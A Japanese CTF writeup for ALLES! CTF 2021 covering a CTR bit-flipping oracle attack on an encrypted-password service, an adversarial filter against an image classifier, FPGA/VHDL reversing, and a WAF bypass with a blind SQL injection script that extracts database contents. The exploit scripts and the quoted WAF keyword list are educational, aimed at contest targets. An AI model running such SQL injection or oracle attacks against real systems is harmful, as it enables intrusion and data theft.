ALLES! CTF 2021 Writeup

Sun Sep 05 2021

    9/4-9/5 で開催していた ALLES! CTF 2021 にチーム WreckTheLine で参加しました。結果は 11th/523 (得点のあるチームのみカウント) でした。あと1問解ければ賞金圏内でした…悔しい

    あまり (いわゆる Crypto の意味での) Crypto の問題はほぼなかったので、今回は普段あまりやらない問題に手を出してました。疲れた。

    以下、解いた問題についての writeup です。

    Boomer Crypto

    ※いわゆる Crypto

    Secure Flag Service

    46 solves

    main.py
    #!/usr/bin/env python3
    import base64
    from Crypto.Cipher import AES
    from Crypto.Hash import SHA3_256, HMAC, BLAKE2s
    from Crypto.Random import urandom, random
    from secret import FLAG, PASSWORD
    
    encryption_key = BLAKE2s.new(data=PASSWORD + b"encryption_key").digest()
    mac_key = BLAKE2s.new(data=PASSWORD + b"mac_key").digest()
    
    
    def int_to_bytes(i):
        return i.to_bytes((i.bit_length() + 7) // 8, byteorder="big")
    
    
    def encode(s):
        bits = bin(int.from_bytes(s, byteorder="big"))[2:]
        ret = ""
    
        for bit in bits:
            if bit == "1":
                if random.randrange(0, 2):
                    ret += "01"
                else:
                    ret += "10"
            else:
                ret += "00"
    
        return int_to_bytes(int(ret, base=2))
    
    
    def decode(s):
        bits = bin(int.from_bytes(s, byteorder="big"))[2:]
        if len(bits) % 2:
            bits = "0" + bits
    
        ret = ""
    
        for i in range(0, len(bits) - 1, 2):
            if int(bits[i] + bits[i + 1], base=2):
                ret += "1"
            else:
                ret += "0"
    
        return int_to_bytes(int(ret, base=2))
    
    
    def encrypt(m):
        nonce = urandom(8)
    
        aes = AES.new(key=encryption_key, mode=AES.MODE_CTR, nonce=nonce)
        tag = HMAC.new(key=mac_key, msg=m).digest()
    
        return nonce + aes.encrypt(encode(m) + tag)
    
    
    def decrypt(c):
        try:
            aes = AES.new(key=encryption_key, mode=AES.MODE_CTR, nonce=c[:8])
    
            decrypted = aes.decrypt(c[8:])
            message, tag = decode(decrypted[:-16]), decrypted[-16:]
    
            HMAC.new(key=mac_key, msg=message).verify(mac_tag=tag)
            return message
        except ValueError:
            print("Get off my lawn or I call the police!!!")
            exit(1)
    
    
    def main():
        try:
            encrypted_password = base64.b64decode(input("Encrypted password>"))
            password = decrypt(encrypted_password)
    
            if password == PASSWORD:
                print(str(base64.b64encode(encrypt(FLAG)), "utf-8"))
            else:
                print("Wrong Password!!!")
        except:
            exit(1)
    
    
    if __name__ == "__main__":
        main()

    AES の CTR モードで暗号化を行っています。ただ暗号化するだけでなく、 encode を使っています。これはメッセージの各ビットについて 101 または 10 に、 000 に変更する処理です。逆の操作 decode は、 000 にしてそれ以外は 1 になります。また HMAC での検証も行われています。

    PASSWORD を暗号化した文字列が問題文中に与えられているので、まずはこの値をリークさせることを試みます (自分はこの問題文中の暗号文の存在にしばらく気づかず、沼にハマってました…)

    decode の処理が特殊なので、これをうまく使うことを考えます。 CTR モードでは cipher = plain + AES(nonce||counter) (+ は xor) の関係があるため、 cipher にある値で xor をとることは plain にも同じ値で xor をとることに対応します。 ここで PASSWORD の暗号文を2ビットずつ区切り、ある区切られたブロックの2ビットをそれぞれ反転 (すなわち 1 で xor をとる) させて decrypt を試みてみます。 AES の decrypt 結果もあるビットが反転した形になります。2ビットずつ見ていったときに 11, 10, 01 は1に decode000 になるので、もともと 00 ならばビット反転させた2パターンでは必ず 1 となって HMAC の検証で落ちます。もともと 01 もしくは 10 のときは片方は検証が通り、片方は検証が通らないことになります。これで PASSWORD をリークできます。

    leak_password.py
    from base64 import b64decode, b64encode
    
    from Crypto.Util.number import bytes_to_long, long_to_bytes
    from pwn import remote
    
    enc_password = b64decode(b"kgsekWGeAwPhz6tbMyLd34Bg5pwhy2TkQJF7NRYC987Ibuiu/dmNHqyYXHV0kXlksThSRi83Qu2owAiUdT9pfqlY")
    nonce = enc_password[:8]
    enc_password = enc_password[8:]
    enc_password_int = bytes_to_long(enc_password)
    
    
    def try_decrypt(payload: bytes):
        io = remote("7b000000cb42a1afe848f639-secure-flag-service.challenge.master.allesctf.net", 31337, ssl=True)
        payload = b64encode(payload)
        io.sendlineafter("password>", payload)
        ret = io.recvline().strip().decode()
        io.close()
        if "Get off" in ret or "Wrong" in ret:
            return False
        else:
            return True
    
    
    # server が不安定だったので EOFError の処理を書いている
    rec_pass_bin = ""
    for i in range(8*16, 30*16, 2):
        while True:
            try:
                print(i)
                tmp_enc_password_0 = long_to_bytes(enc_password_int ^ (1 << i))
                tmp_enc_password_1 = long_to_bytes(enc_password_int ^ (1 << (i + 1)))
                res_0 = try_decrypt(nonce + tmp_enc_password_0)
                res_1 = try_decrypt(nonce + tmp_enc_password_1)
                b = (not res_0) and (not res_1)
                rec_pass_bin = str(0 if b else 1) + rec_pass_bin
                break
            except EOFError:
                continue
    
    PASSWORD = long_to_bytes(int(rec_pass_bin, 2))

    PASSWORD が求まったので、 encryption_keymac_key も求まり、手元でフラグの暗号文を復号することができます。

    solve.py
    encryption_key = BLAKE2s.new(data=PASSWORD + b'encryption_key').digest()
    mac_key = BLAKE2s.new(data=PASSWORD + b'mac_key').digest()
    
    enc_flag = b64decode(b"wz2nZBOfbbFEEG7+VUxmqEmSgIMf2Zu4sunEaupksU+4Mx5MNbeE09WoSmBe/cFG/b1BXu3IA9ulc9lRy4xpzRFweKGE5m2OEK8B6rQl2k6jOzH+zdg66RyKtIvJ2g==")  # enc_password を送った
    decrypt(enc_flag)

    ALLES!{who_needs_ind-cca_anyways??}

    Misc

    PixelCat

    42 solves

    ML 問です。入力画像を猫か犬か分類するモデル (tensorflow 製) が与えられています。入力画像の 128x128 ピクセルの内、 1900 ピクセルまで固定の値に変更することができるフィルターを与えることができます。

    Fast Gradient Sign Method が典型的には使えそうなので、試してみたらうまく動きました。 具体的には、以下の手順でやりました。

    • 与えられた猫の画像をモデルに入力し、(犬の確率)/(入力画像のピクセル)\partial(犬の確率)/\partial(入力画像のピクセル) が大きくなるようなピクセル top 1900を選び出す
      • 正直これは不要で、多分ランダムな1900点選ぶのでもいけると思う
    • ランダムな画像を生成してモデルに入力し、 (犬の確率)/(入力画像のピクセル)\partial(犬の確率)/\partial(入力画像のピクセル) の勾配を、選んだピクセルに対して足す。これを十分確率が大きくなるまで繰り返す。
      • 猫の画像の augmentation をした画像を使うほうが性能でる気がするけど、 np.random.random の画像で十分にできた。
    solve.py
    import numpy as np
    import tensorflow as tf
    from PIL import Image
    from tensorflow.keras.models import load_model
    
    ImageFile.LOAD_TRUNCATED_IMAGES = True
    
    file_path = "cat.jpg"
    w, h = (128, 128)
    
    image = Image.open(file_path)
    image = image.resize((w, h))
    image = image.convert("RGB")
    image = np.expand_dims(image, axis=0)
    image = np.array(image)
    image = image / 255
    
    # どこの pixel でフィルター作るか決める (どこでもよさそうだけど)
    inp = image.copy()
    inp_tensor = tf.convert_to_tensor(inp)
    with tf.GradientTape(persistent=True) as t:
        t.watch(inp_tensor)
        out = model(inp_tensor)
        out_prob = tf.math.reduce_mean(out, axis=0)[1]
    grad = t.gradient(out_prob, inp_tensor)
    tmp = grad.numpy().sum(axis=3)[0].reshape(-1)
    idx_list_1d = tmp.argsort()[-1899:]
    idx_list_2d = [(idx // 128, idx % 128) for idx in idx_list_1d]
    
    
    # ランダムな入力に対して grad を計算し、 filter を更新
    out_prob = 0.0
    while out_prob < 0.95:
        inp = np.random.random((1024, 128, 128, 3))
        for i in range(1899):
            row, col = idx_list_2d[i]
            inp[:, row, col, :] = filters[i]
        inp_tensor = tf.convert_to_tensor(inp)
        with tf.GradientTape(persistent=True) as t:
            t.watch(inp_tensor)
            out = model(inp_tensor)
            out_prob = tf.math.reduce_mean(out, axis=0)[1]
        print(out_prob)
        grad = t.gradient(out_prob, inp_tensor)
        grad = grad.numpy().sum(axis=0)
        for i in range(1899):
            row, col = idx_list_2d[i]
            filters[i] += 10 * grad[row, col]
            filters = np.clip(filters, 0.0, 1.0)
    
    
    # check
    inp = image.copy()
    for i in range(1899):
        row, col = idx_list_2d[i]
        inp[:, row, col, :] = filters[i]
    inp_tensor = tf.convert_to_tensor(inp)
    print(model(inp_tensor))
    
    
    # filter 画像を出力
    filters_np = np.zeros((128, 128, 4), dtype=np.uint8)
    for i in range(1899):
        row, col = idx_list_2d[i]
        filters_np[row, col, :3] = 255 * filters[i]
        filters_np[row, col, 3] = 255
    img = Image.fromarray(filters_np)
    img.save("payload.png")

    これで出力された payload.png を提出してしばらく経つとフラグが得られました。

    ALLES!{4dv3r53r14l_m4ss_1m4g3_m4n1pul4t0r}

    機械学習エンジニアのくせに tensorflow 全然使いこなせていないので本当にダメ…(普段は pytorch しか使ってない) grad を取るのに手こずってしまった…

    Reverse Engineering

    Fomu Whisperer

    30 solves

    VHDL で書かれたプログラムのリバーシング問題。この問題では実際に fomu に対して入力ができ、出力を LED で確認できます (ビデオで与えられます)。2ピン分入力ができるので、それらを適切に制御するとフラグのビット列が LED を通して得られます。

    flag1Shift は以下のように更新されています。

                flag1Shift(flag1Shift'left downto 3) <= flag1Shift(flag1Shift'left-3 downto 0);
                flag1Shift(0) <= user_1_debounced;
                flag1Shift(1) <= user_4_debounced;
                flag1Shift(2) <= user_1_debounced xor user_4_debounced;

    user_i_debounced は入力 user_i のチャタリングを除去したものです。この flag1Shiftflag1Ref に一致していると flag1Solved が1となり、それ以降ではフラグのビット列が出力されるモードになります。

      signal flag1Ref : std_logic_vector(20 downto 0) := "111101110101110000011";
    
    ...
    
                if (flag1Shift(flag1Ref'left downto 0) = flag1Ref) then
                    flag1Solved <= '1';
    
    ...
    
                    if (flag1Solved = '1') then
                        flag1(flag1'left downto 2) <= flag1(flag1'left-2 downto 0);
                        led_flag(2) <= flag1(flag1'left);
                        led_flag(1) <= flag1(flag1'left-1);
                        flag1(0) <= flag1(flag1'left-1);
                        flag1(1) <= flag1(flag1'left);

    以下のコードを送ることで、フラグのビット列を見ることができました。 最初の sleep が4なのはタイミング調整のため、最後の sleep が240なのはフラグのビット列を最後まで見るためです。

    pin 1=1,4=0
    sleep 4
    pin 1=0,4=1
    sleep 3
    pin 1=1,4=0
    sleep 3
    pin 1=0,4=1
    sleep 3
    pin 1=0,4=0
    sleep 3
    pin 1=1,4=1
    sleep 240
    

    最後のフラグについては、 LED が緑なら 01、青色なら 10、水色なら 11 です。自動化面倒だったので人力でやりました…

    ALLES!{vhd1_r3v}

    Verilog は書いたことがあったのですが VHDL は初めてだったので、基本的な記法を調べるところからでした。勉強になったし実際にハードを動かすことができて面白かったです。

    Fomu Whisperer 2

    21 solves

    この問題は前問の続きです。前回と同様、 flag2Shiftflag2Ref に一致させればフラグが得られます。 後述しますが、ほぼチームメイトが解いてくれました。

                flag2Shift(flag2Shift'left downto 2) <= flag2Shift(flag2Shift'left-2 downto 0);
                flag2Shift(0) <= user_1_debounced;
                flag2Shift(1) <= user_4_debounced;
    
    ...
    
                    if (flag2Shift(flag2Ref'left downto 0) = flag2Ref) then
                        flag2Solved <= '1';

    ただこの問題では、 flag2RefSB_MAC16 で計算された結果を使用しています。計算には flag1 の値 (前問でわかっているので既知) を使っています。なので SB_MAC16 の動作を追うことができれば前問と同様に解くことができます。

    mac16: SB_MAC16
    generic map (A_REG => 1, B_REG=>1, C_REG => 1, D_REG=>1, BOTOUTPUT_SELECT=>0, BOTADDSUB_UPPERINPUT => 1, BOTADDSUB_CARRYSELECT => 1, BOTADDSUB_LOWERINPUT => 2, TOPADDSUB_UPPERINPUT => 1, TOPADDSUB_CARRYSELECT => 2, TOPOUTPUT_SELECT => 0, TOPADDSUB_LOWERINPUT => 2) 
    port map(clk=>clk, A=>SA, B=>SB, C=>SC, D=>SD, O=>dout, CI => '0', OLOADBOT => '0', OHOLDBOT=>'1', ORSTBOT=>'1', OLOADTOP => '0', ORSTTOP=>'1', OHOLDTOP=>'1', ADDSUBTOP=>'1');
    
    ...
    
          if (rising_edge(clk)) then
              SA <= flag1(SA'left downto 0);
              SB <= flag1(flag1'left downto flag1'left-15);
              SC <= flag1(68 downto (68-15));
              SD <= flag1(86 downto (86-15));
    
            flag2Ref(31 downto 0) <= not dout(31 downto 0);

    SB_MAC16回路図 を眺めてみたのですが動作を追うことができず、チームメイトにヘルプを投げました。すると Verilog での実装 を見つけてくれました。しかもそれを オンライン上で実行 してくれて、 dout の値を求めてくれました。あれ、自分何もしてなくない…? 以下の verilog コードが、 dout を求めるのに使われたものです。

    /* 
     * Do not change Module name 
    */
    module main;
        wire [15:0]SA = 16'b0111011001111101;
        wire [15:0]SB = 16'b0100000101001100;
        wire [15:0]SC = 16'b1011001101000011;
        wire [15:0]SD = 16'b0100001011110110;
        wire [31:0]SO;
      reg clk;
      SB_MAC16 s (
        .CLK(clk),
        .CE(1'b1),
        .A(SA),
        .B(SB),
        .C(SC),
        .D(SD),
        .AHOLD(1'b0),
        .BHOLD(1'b0),
        .CHOLD(1'b0),
        .DHOLD(1'b0),
        
        
        .IRSTTOP(1'b0),
        .IRSTBOT(1'b0),
        .OLOADBOT(1'b0),
        .OHOLDBOT(1'b1),
        .ORSTBOT(1'b1),
        .OLOADTOP(1'b0),
        .ORSTTOP(1'b1),
        .OHOLDTOP(1'b1),
        .ADDSUBTOP(1'b1),
        .ADDSUBBOT(1'b0),
        .CI(1'b0),
        .ACCUMCI(1'b0),
        .SIGNEXTIN(1'b0),
        .O(SO)
        
      );
    initial begin
        clk = 0;
        forever 
             #1 clk = ~clk;
    end
      initial 
        begin
        // forever
          $display(SO);
          $display(SA);
          #1 $display(SO);
          #1 $display(SO);#1 $display(SO);#1 $display(SO);#1 $display(SO);
          #1000 $display(SO);
          #100000 $display(SO);
          
          $finish ;
        end
    endmodule
    
    module SB_MAC16 (
    	input CLK, CE,
    	input [15:0] C, A, B, D,
    	input AHOLD, BHOLD, CHOLD, DHOLD,
    	input IRSTTOP, IRSTBOT,
    	input ORSTTOP, ORSTBOT,
    	input OLOADTOP, OLOADBOT,
    	input ADDSUBTOP, ADDSUBBOT,
    	input OHOLDTOP, OHOLDBOT,
    	input CI, ACCUMCI, SIGNEXTIN,
    	output [31:0] O,
    	output CO, ACCUMCO, SIGNEXTOUT
    );
    	parameter [0:0] NEG_TRIGGER = 0;
    	parameter [0:0] C_REG = 1;
    	parameter [0:0] A_REG = 1;
    	parameter [0:0] B_REG = 1;
    	parameter [0:0] D_REG = 1;
    	parameter [0:0] TOP_8x8_MULT_REG = 0;
    	parameter [0:0] BOT_8x8_MULT_REG = 0;
    	parameter [0:0] PIPELINE_16x16_MULT_REG1 = 0;
    	parameter [0:0] PIPELINE_16x16_MULT_REG2 = 0;
    	parameter [1:0] TOPOUTPUT_SELECT = 0;
    	parameter [1:0] TOPADDSUB_LOWERINPUT = 2;
    	parameter [0:0] TOPADDSUB_UPPERINPUT = 1;
    	parameter [1:0] TOPADDSUB_CARRYSELECT = 2;
    	parameter [1:0] BOTOUTPUT_SELECT = 0;
    	parameter [1:0] BOTADDSUB_LOWERINPUT = 2;
    	parameter [0:0] BOTADDSUB_UPPERINPUT = 1;
    	parameter [1:0] BOTADDSUB_CARRYSELECT = 1;
    	parameter [0:0] MODE_8x8 = 0;
    	parameter [0:0] A_SIGNED = 0;
    	parameter [0:0] B_SIGNED = 0;
    
    	wire clock = CLK ^ NEG_TRIGGER;
    
    	// internal wires, compare Figure on page 133 of ICE Technology Library 3.0 and Fig 2 on page 2 of Lattice TN1295-DSP
    	// http://www.latticesemi.com/~/media/LatticeSemi/Documents/TechnicalBriefs/SBTICETechnologyLibrary201608.pdf
    	// https://www.latticesemi.com/-/media/LatticeSemi/Documents/ApplicationNotes/AD/DSPFunctionUsageGuideforICE40Devices.ashx
    	wire [15:0] iA, iB, iC, iD;
    	wire [15:0] iF, iJ, iK, iG;
    	wire [31:0] iL, iH;
    	wire [15:0] iW, iX, iP, iQ;
    	wire [15:0] iY, iZ, iR, iS;
    	wire HCI, LCI, LCO;
    
    	// Regs C and A
    	reg [15:0] rC, rA;
    	always @(posedge clock, posedge IRSTTOP) begin
    		if (IRSTTOP) begin
    			rC <= 0;
    			rA <= 0;
    		end else if (CE) begin
    			if (!CHOLD) rC <= C;
    			if (!AHOLD) rA <= A;
    		end
    	end
    	assign iC = C_REG ? rC : C;
    	assign iA = A_REG ? rA : A;
    
    	// Regs B and D
    	reg [15:0] rB, rD;
    	always @(posedge clock, posedge IRSTBOT) begin
    		if (IRSTBOT) begin
    			rB <= 0;
    			rD <= 0;
    		end else if (CE) begin
    			if (!BHOLD) rB <= B;
    			if (!DHOLD) rD <= D;
    		end
    	end
    	assign iB = B_REG ? rB : B;
    	assign iD = D_REG ? rD : D;
    
    	// Multiplier Stage
    	wire [15:0] p_Ah_Bh, p_Al_Bh, p_Ah_Bl, p_Al_Bl;
    	wire [15:0] Ah, Al, Bh, Bl;
    	assign Ah = {A_SIGNED ? {8{iA[15]}} : 8'b0, iA[15: 8]};
    	assign Al = {A_SIGNED ? {8{iA[ 7]}} : 8'b0, iA[ 7: 0]};
    	assign Bh = {B_SIGNED ? {8{iB[15]}} : 8'b0, iB[15: 8]};
    	assign Bl = {B_SIGNED ? {8{iB[ 7]}} : 8'b0, iB[ 7: 0]};
    	assign p_Ah_Bh = Ah * Bh;
    	assign p_Al_Bh = Al * Bh;
    	assign p_Ah_Bl = Ah * Bl;
    	assign p_Al_Bl = Al * Bl;
    
    	// Regs F and J
    	reg [15:0] rF, rJ;
    	always @(posedge clock, posedge IRSTTOP) begin
    		if (IRSTTOP) begin
    			rF <= 0;
    			rJ <= 0;
    		end else if (CE) begin
    			rF <= p_Ah_Bh;
    			if (!MODE_8x8) rJ <= p_Al_Bh;
    		end
    	end
    	assign iF = TOP_8x8_MULT_REG ? rF : p_Ah_Bh;
    	assign iJ = PIPELINE_16x16_MULT_REG1 ? rJ : p_Al_Bh;
    
    	// Regs K and G
    	reg [15:0] rK, rG;
    	always @(posedge clock, posedge IRSTBOT) begin
    		if (IRSTBOT) begin
    			rK <= 0;
    			rG <= 0;
    		end else if (CE) begin
    			if (!MODE_8x8) rK <= p_Ah_Bl;
    			rG <= p_Al_Bl;
    		end
    	end
    	assign iK = PIPELINE_16x16_MULT_REG1 ? rK : p_Ah_Bl;
    	assign iG = BOT_8x8_MULT_REG ? rG : p_Al_Bl;
    
    	// Adder Stage
    	assign iL = iG + (iK << 8) + (iJ << 8) + (iF << 16);
    
    	// Reg H
    	reg [31:0] rH;
    	always @(posedge clock, posedge IRSTBOT) begin
    		if (IRSTBOT) begin
    			rH <= 0;
    		end else if (CE) begin
    			if (!MODE_8x8) rH <= iL;
    		end
    	end
    	assign iH = PIPELINE_16x16_MULT_REG2 ? rH : iL;
    
    	// Hi Output Stage
    	wire [15:0] XW, Oh;
    	reg [15:0] rQ;
    	assign iW = TOPADDSUB_UPPERINPUT ? iC : iQ;
    	assign iX = (TOPADDSUB_LOWERINPUT == 0) ? iA : (TOPADDSUB_LOWERINPUT == 1) ? iF : (TOPADDSUB_LOWERINPUT == 2) ? iH[31:16] : {16{iZ[15]}};
    	assign {ACCUMCO, XW} = iX + (iW ^ {16{ADDSUBTOP}}) + HCI;
    	assign CO = ACCUMCO ^ ADDSUBTOP;
    	assign iP = OLOADTOP ? iC : XW ^ {16{ADDSUBTOP}};
    	always @(posedge clock, posedge ORSTTOP) begin
    		if (ORSTTOP) begin
    			rQ <= 0;
    		end else if (CE) begin
    			if (!OHOLDTOP) rQ <= iP;
    		end
    	end
    	assign iQ = rQ;
    	assign Oh = (TOPOUTPUT_SELECT == 0) ? iP : (TOPOUTPUT_SELECT == 1) ? iQ : (TOPOUTPUT_SELECT == 2) ? iF : iH[31:16];
    	assign HCI = (TOPADDSUB_CARRYSELECT == 0) ? 1'b0 : (TOPADDSUB_CARRYSELECT == 1) ? 1'b1 : (TOPADDSUB_CARRYSELECT == 2) ? LCO : LCO ^ ADDSUBBOT;
    	assign SIGNEXTOUT = iX[15];
    
    	// Lo Output Stage
    	wire [15:0] YZ, Ol;
    	reg [15:0] rS;
    	assign iY = BOTADDSUB_UPPERINPUT ? iD : iS;
    	assign iZ = (BOTADDSUB_LOWERINPUT == 0) ? iB : (BOTADDSUB_LOWERINPUT == 1) ? iG : (BOTADDSUB_LOWERINPUT == 2) ? iH[15:0] : {16{SIGNEXTIN}};
    	assign {LCO, YZ} = iZ + (iY ^ {16{ADDSUBBOT}}) + LCI;
    	assign iR = OLOADBOT ? iD : YZ ^ {16{ADDSUBBOT}};
    	always @(posedge clock, posedge ORSTBOT) begin
    		if (ORSTBOT) begin
    			rS <= 0;
    		end else if (CE) begin
    			if (!OHOLDBOT) rS <= iR;
    		end
    	end
    	assign iS = rS;
    	assign Ol = (BOTOUTPUT_SELECT == 0) ? iR : (BOTOUTPUT_SELECT == 1) ? iS : (BOTOUTPUT_SELECT == 2) ? iG : iH[15:0];
    	assign LCI = (BOTADDSUB_CARRYSELECT == 0) ? 1'b0 : (BOTADDSUB_CARRYSELECT == 1) ? 1'b1 : (BOTADDSUB_CARRYSELECT == 2) ? ACCUMCI : CI;
    	assign O = {Oh, Ol};
    endmodule

    自分は dout から正解入力を作る script を書き、コードを提出し、 LED を読み取りました。

    bin_to_payload.py
    dout = "10010101000010100010110100010011"
    for i in range(0, 32, 2):
        bit_4, bit_1 = int(dout[i]), int(dout[i+1])
        bit_4, bit_1 = 1-bit_4, 1-bit_1
        line = f"pin 4={bit_4},1={bit_1}"
        print(line)
        sleep_t = 3
        if i == 0:
            sleep_t += 1
        elif i == 24:
            sleep_t -= 1
        print(f"sleep {sleep_t}")

    ALLES!{dsp_m4st3r}

    競技終了1時間前ぐらいにコードを提出したので、 LED の動画が返ってくるまでのそわそわタイムが心臓に悪かったですね…

    復習

    Web

    Amazing Crypto WAF

    23 solves

    ノートを書いたり閲覧したりできるアプリです。ただしこのアプリを直接操作するわけでなく、暗号化/復号を行うアプリを経由することになります。したがってノートアプリで用いる DB の中身は全て暗号化されています。

    crypter/app.py
    (snipped)
    
    # the WAF is still early in development and only protects a few cases
    def waf_param(param):
        MALICIOUS = ["select", "union", "alert", "script", "sleep", '"', "'", "<"]
        for key in param:
            val = param.get(key, "")
            while val != unquote(val):
                val = unquote(val)
    
            for evil in MALICIOUS:
                if evil.lower() in val.lower():
                    raise Exception("hacker detected")
    
    (snipped)
    
    @app.route("/", defaults={"path": ""})
    @app.route("/<path:path>", methods=["POST", "GET"])
    def proxy(path):
        # Web Application Firewall
        try:
            waf_param(request.args)
            waf_param(request.form)
        except:
            return "error"
    
        # contact backend server
        proxy_request = None
        query = request.query_string.decode()
        print(query)
        headers = {"Cookie": request.headers.get("Cookie", None)}
        if request.method == "GET":
            proxy_request = requests.get(
                f"{BACKEND_URL}{path}?{query}", headers=headers, allow_redirects=False
            )
        elif request.method == "POST":
            headers["Content-type"] = request.content_type
            proxy_request = requests.post(
                f"{BACKEND_URL}{path}?{query}",
                data=encrypt_params(request.form),
                headers=headers,
                allow_redirects=False,
            )
    
        if not proxy_request:
            return "error"
    
        response_data = decrypt_data(proxy_request.content)
        injected_data = inject_ad(response_data)
        resp = make_response(injected_data)
        resp.status = proxy_request.status_code
        if proxy_request.headers.get("Location", None):
            resp.headers["Location"] = proxy_request.headers.get("Location")
        if proxy_request.headers.get("Set-Cookie", None):
            resp.headers["Set-Cookie"] = proxy_request.headers.get("Set-Cookie")
        if proxy_request.headers.get("Content-Type", None):
            resp.content_type = proxy_request.headers.get("Content-Type")
    
        return resp

    アプリ側に自明な SQLi の脆弱性が存在します。

    app/app.py
    @app.route('/notes')
    @login_required
    def notes():
        order = request.args.get('order', 'desc')
        notes = query_db(f'select * from notes where user = ? order by timestamp {order}', [g.user['uuid']])
        return render_template('notes.html', user=g.user, notes=notes)

    order 経由で SQLi ができそうです。しかし暗号化を行う crypter/app.py では MALICIOUS = ["select", "union", "alert", "script", "sleep", '"', "'", "<"]args の文字に含まれている場合はじく処理があり、単純にはうまくいきません。 SQLi の方法もわからなかったし、 SQLi できたとしても DB 内のデータは暗号化されているので鍵がわからないと復号できなさそう…とあれこれ悩んでいるうちに終了。


    Ark さんの writeup を参考に解き直しました。

    /notes?order=... ではなく /notes%3forder=... に GET しています。この場合どうなるかというと crypter/app.py では @app.route("/<path:path>", methods=["POST", "GET"]) が指定されている関係で path=notes%3forder=... が代入され、 request.args は空になり、 WAF を回避できます。なるほど… SQLi ができるようになったので、 order=LIMIT IIF(SUBSTR((SELECT body FROM notes), {idx}, 1)='{c}', 1, 0)-- 等とすると、 idx 番目の文字が c であるか否かで挙動を変えることができます。

    これで DB の中身をリークできるのですが、復号しないといけません。暗号処理の部分には問題がなさそうです (そもそも web 問だし…)。ではどうすべきかというと、DB の任意の要素が同様の処理で復号されるため、ユーザー名を暗号文にすると UI に表示されるユーザー名に復号結果を表示させることができます。なるほど…

    solve.py
    from multiprocessing import Pool
    
    import requests
    
    url = "https://7b00000014971ac5d00bc620-amazing-crypto-waf.challenge.master.allesctf.net:31337/notes"
    query_template = (
        "%3forder=LIMIT IIF(SUBSTR((SELECT body FROM notes), {idx}, 1)='{c}', 1, 0)--"
    )
    
    # 事前に適当にユーザー登録をしておき、ノートを一つつくっておく
    headers = {
        "Cookie": "session=5118a545e05e415fb8fb756158e9df93.5b14d3e84b09aacf0b3354fc1163f73083441601608d06e055d91cbe2e694ad8"
    }
    
    # 間違っている場合の文字数を予め知っておく
    query = query_template.format(idx=1, c="A")
    res = requests.get(url + query, headers=headers)
    len_wrong = len(res.text)
    
    
    def get_results(idx: int, j: int) -> bool:
        c = chr(j)
        if c in "#%&'\"()*'/{}":
            return False
        query = query_template.format(idx=idx, c=c)
        res = requests.get(url + query, headers=headers)
        return len(res.text) != len_wrong
    
    
    flag_body = ""
    for idx in range(len(flag_body) + 1, 200):
        with Pool(16) as p:
            results = p.starmap(get_results, [(idx, j) for j in range(32, 128)])
        for r, j in zip(results, range(32, 128)):
            if r:
                flag_body += chr(j)
                print(flag_body)
                break
        else:
            break

    ALLES!{American_scientists_said,_dont_do_WAFs!}